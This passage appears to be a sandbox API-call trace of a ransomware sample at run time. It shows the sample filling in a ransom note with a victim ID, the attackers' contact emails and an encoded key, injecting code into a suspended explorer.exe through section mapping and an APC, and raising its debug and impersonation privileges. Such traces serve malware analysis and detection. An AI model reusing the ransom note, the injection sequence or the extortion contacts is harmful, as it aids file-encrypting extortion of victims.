BaseAddress=0x2f81cb8) returned 1 [0163.128] strstr (_Str=".mailto[kokoklock@cock.li].d0e731", _SubStr="{mail2}") returned 0x0 [0163.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x22) returned 0x2f71f18 [0163.128] strcpy (in: _Dest=0x2f71f18, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest=".mailto[kokoklock@cock.li].d0e731") returned=".mailto[kokoklock@cock.li].d0e731" [0163.128] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f72038) returned 1 [0163.129] RtlInitAnsiString (in: DestinationString=0x2c3f824, SourceString=".mailto[kokoklock@cock.li].d0e731" | out: DestinationString=".mailto[kokoklock@cock.li].d0e731") [0163.129] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c3f82c, SourceString=".mailto[kokoklock@cock.li].d0e731", AllocateDestinationString=1 | out: DestinationString=".mailto[kokoklock@cock.li].d0e731") returned 0x0 [0163.129] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x44) returned 0x2f72ca8 [0163.129] RtlFreeAnsiString (AnsiString=".") [0163.129] strstr (_Str="{ID}-Readme.txt", _SubStr="{id}") returned 0x0 [0163.129] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10) returned 0x2f724f0 [0163.129] strcpy (in: _Dest=0x2f724f0, _Source="{ID}-Readme.txt" | out: _Dest="{ID}-Readme.txt") returned="{ID}-Readme.txt" [0163.129] strstr (_Str="{ID}-Readme.txt", _SubStr="{ID}") returned="{ID}-Readme.txt" [0163.129] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12) returned 0x2f81c78 [0163.129] strstr (_Str="D0E731-Readme.txt", _SubStr="{ID}") returned 0x0 [0163.129] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f724f0) returned 1 [0163.129] strstr (_Str="D0E731-Readme.txt", _SubStr="{mail1}") returned 0x0 [0163.129] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12) returned 0x2f81978 [0163.129] strcpy (in: _Dest=0x2f81978, _Source="D0E731-Readme.txt" | out: _Dest="D0E731-Readme.txt") returned="D0E731-Readme.txt" [0163.129] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f81c78) returned 1 [0163.129] strstr (_Str="D0E731-Readme.txt", _SubStr="{mail2}") returned 0x0 [0163.129] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12) returned 0x2f819d8 [0163.129] strcpy (in: _Dest=0x2f819d8, _Source="D0E731-Readme.txt" | out: _Dest="D0E731-Readme.txt") returned="D0E731-Readme.txt" [0163.129] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f81978) returned 1 [0163.129] RtlInitAnsiString (in: DestinationString=0x2c3f824, SourceString="D0E731-Readme.txt" | out: DestinationString="D0E731-Readme.txt") [0163.129] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c3f82c, SourceString="D0E731-Readme.txt", AllocateDestinationString=1 | out: DestinationString="D0E731-Readme.txt") returned 0x0 [0163.129] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x24) returned 0x2f71f78 [0163.129] RtlFreeAnsiString (AnsiString="D") [0163.129] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xab) returned 0x2f83db0 [0163.130] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe5) returned 0x2f6b6f8 [0163.130] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf1) returned 0x2f84918 [0163.131] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6b6f8) returned 1 [0163.131] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83db0) returned 1 [0163.131] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion {id}.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_{id}:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{id}") returned="{id}.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_{id}:{code}}\r\n\r\n\r\n\r\n\r\n\r\n" [0163.131] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x386) returned 0x2f864f8 [0163.131] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_{id}:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{id}") returned="{id}:{code}}\r\n\r\n\r\n\r\n\r\n\r\n" [0163.131] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x388) returned 0x2f86888 [0163.131] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f864f8) returned 1 [0163.131] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{id}") returned 0x0 [0163.131] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{ID}") returned 0x0 [0163.131] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x388) returned 0x2f864f8 [0163.131] strcpy (in: _Dest=0x2f864f8, _Source="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n" | out: _Dest="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n") returned="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n" [0163.131] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f86888) returned 1 [0163.131] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{mail1}") returned="{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n" [0163.131] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x392) returned 0x2f86888 [0163.131] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.kokoklock@cock.li\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{mail1}") returned 0x0 [0163.131] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f864f8) returned 1 [0163.131] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.kokoklock@cock.li\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{mail2}") returned="{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n" [0163.131] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x39c) returned 0x2f86c28 [0163.132] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.kokoklock@cock.li\r\n2.pabpabtab@tuta.io\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{mail2}") returned 0x0 [0163.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f86888) returned 1 [0163.132] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.kokoklock@cock.li\r\n2.pabpabtab@tuta.io\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{code}") returned="{code}}\r\n\r\n\r\n\r\n\r\n\r\n" [0163.132] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x482) returned 0x2f864f8 [0163.132] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.kokoklock@cock.li\r\n2.pabpabtab@tuta.io\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:EQAAAEQwRTczMS1SZWFkbWUudHh0IQAAAC5tYWlsdG9ba29rb2\r\ntsb2NrQGNvY2subGldLmQwZTczMRbhG6+6IVNShW+uie40GTSm\r\nnDiC0pLaOz6ev7B9wvH/pHULJMYdqkJHOctzYJ8uoua/b69c3x\r\ndoagWZfpSLQ6BZTyOPuZUVUgkcLkNFpZEyyh2VUwD4+gh+DL2Z\r\nrgLB5pIoJcN22wynOA9yMqP8sL0=}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{code}") returned 0x0 [0163.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f86c28) returned 1 [0163.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84918) returned 1 [0163.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f819d8) returned 1 [0163.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f71f18) returned 1 [0163.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f72598) returned 1 [0163.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f71e28) returned 1 [0163.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f726b8) returned 1 [0163.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f768c8) returned 1 [0163.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f73018) returned 1 [0163.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82aa8) returned 1 [0163.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82150) returned 1 [0163.132] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x30) returned 0x2f6b9a8 [0163.132] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x100) returned 0x2f689d0 [0163.132] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x100) returned 0x2f64160 [0163.132] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x100) returned 0x2f71b10 [0163.132] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x100) returned 0x2f6c878 [0163.132] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x100) returned 0x2f6af40 [0163.132] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x100) returned 0x2f70ba8 [0163.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c520d0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0 [0163.135] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20a) returned 0x2f6b1d8 [0163.135] GetSystemDirectoryW (in: lpBuffer=0x2f6b1d8, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0163.135] wcscat (in: _Dest=0x2f6b1d8, _Source="\\" | out: _Dest="C:\\WINDOWS\\system32\\") returned="C:\\WINDOWS\\system32\\" [0163.135] wcscat (in: _Dest=0x2f6b1d8, _Source="explorer.exe" | out: _Dest="C:\\WINDOWS\\system32\\explorer.exe") returned="C:\\WINDOWS\\system32\\explorer.exe" [0163.135] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x28) returned 0x2f71e28 [0163.135] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\explorer.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2c3f844*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2c3f888 | out: lpCommandLine=0x0, lpProcessInformation=0x2c3f888*(hProcess=0x2b8, hThread=0x2bc, dwProcessId=0xdbc, dwThreadId=0xdc0)) returned 1 [0163.155] NtCreateSection (in: SectionHandle=0x2c3f81c, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x2c3f7fc, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x2c3f81c*=0x2c8) returned 0x0 [0163.155] NtMapViewOfSection (in: SectionHandle=0x2c8, ProcessHandle=0xffffffff, BaseAddress=0x2c3f820*=0x0, ZeroBits=0x0, CommitSize=0x17000, SectionOffset=0x0, ViewSize=0x2c3f810*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x2c3f820*=0x2f20000, SectionOffset=0x0, ViewSize=0x2c3f810*=0x17000) returned 0x0 [0163.156] NtMapViewOfSection (in: SectionHandle=0x2c8, ProcessHandle=0x2b8, BaseAddress=0x2c3f818*=0x0, ZeroBits=0x0, CommitSize=0x17000, SectionOffset=0x0, ViewSize=0x2c3f810*=0x17000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x2c3f818*=0x3290000, SectionOffset=0x0, ViewSize=0x2c3f810*=0x17000) returned 0x0 [0163.157] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x2f20000) returned 0x0 [0163.158] NtClose (Handle=0x2c8) returned 0x0 [0163.158] NtQueueApcThread (ThreadHandle=0x2bc, ApcRoutine=0x32a13b0, NormalContext=0x0, SystemArgument1=0x0, SystemArgument2=0x0) returned 0x0 [0163.158] NtResumeThread (in: ThreadHandle=0x2bc, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0163.158] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6b1d8) returned 1 [0163.159] Sleep (dwMilliseconds=0x0) [0163.236] SetErrorMode (uMode=0x8003) returned 0x0 [0163.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c504b0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0163.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c505a0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4 [0163.238] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x2c3f8c8 | out: lpLuid=0x2c3f8c8*(LowPart=0x14, HighPart=0)) returned 1 [0163.314] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x2c3f850 | out: TokenHandle=0x2c3f850*=0x2f0) returned 0x0 [0163.314] AdjustTokenPrivileges (in: TokenHandle=0x2f0, DisableAllPrivileges=0, NewState=0x2c3f8b8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0163.314] GetLastError () returned 0x514 [0163.314] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeImpersonatePrivilege", lpLuid=0x2c3f8c8 | out: lpLuid=0x2c3f8c8*(LowPart=0x1d, HighPart=0)) returned 1 [0163.315] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x2c3f850 | out: TokenHandle=0x2c3f850*=0x2f4) returned 0x0 [0163.315] AdjustTokenPrivileges (in: TokenHandle=0x2f4, DisableAllPrivileges=0, NewState=0x2c3f8b8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0163.315] GetLastError () returned 0x514 [0163.315] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x2c3f88c | out: TokenHandle=0x2c3f88c*=0x2f8) returned 0x0 [0163.315] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x100) returned 0x2f70d80 [0163.315] GetTokenInformation (in: TokenHandle=0x2f8, TokenInformationClass=0x1, TokenInformation=0x2f70d80, TokenInformationLength=0x100, ReturnLength=0x2c3f8b0 | out: TokenInformation=0x2f70d80, ReturnLength=0x2c3f8b0) returned 1 [0163.315] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4) returned 0x2f768f8 [0163.315] ConvertSidToStringSidW () returned 0x1 [0163.315] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x1024) returned 0x2f8a560 [0163.315] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f8a560, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2f8a560, ResultLength=0x0) returned 0xc0000004 [0163.316] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f8a560, Size=0x2048) returned 0x2f8b590 [0163.316] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f8b590, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x2f8b590, ResultLength=0x0) returned 0xc0000004 [0163.316] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f8b590, Size=0x306c) returned 0x2f8b590 [0163.316] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f8b590, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2f8b590, ResultLength=0x0) returned 0xc0000004 [0163.317] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f8b590, Size=0x4090) returned 0x2f8e608 [0163.317] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f8e608, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2f8e608, ResultLength=0x0) returned 0xc0000004 [0163.317] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f8e608, Size=0x50b4) returned 0x2f8e608 [0163.317] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f8e608, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x2f8e608, ResultLength=0x0) returned 0xc0000004 [0163.317] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f8e608, Size=0x60d8) returned 0x2f936c8 [0163.318] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f936c8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x2f936c8, ResultLength=0x0) returned 0xc0000004 [0163.318] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f936c8, Size=0x70fc) returned 0x2f936c8 [0163.318] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f936c8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x2f936c8, ResultLength=0x0) returned 0xc0000004 [0163.319] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f936c8, Size=0x8120) returned 0x2f8a560 [0163.319] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f8a560, Length=0x8120, 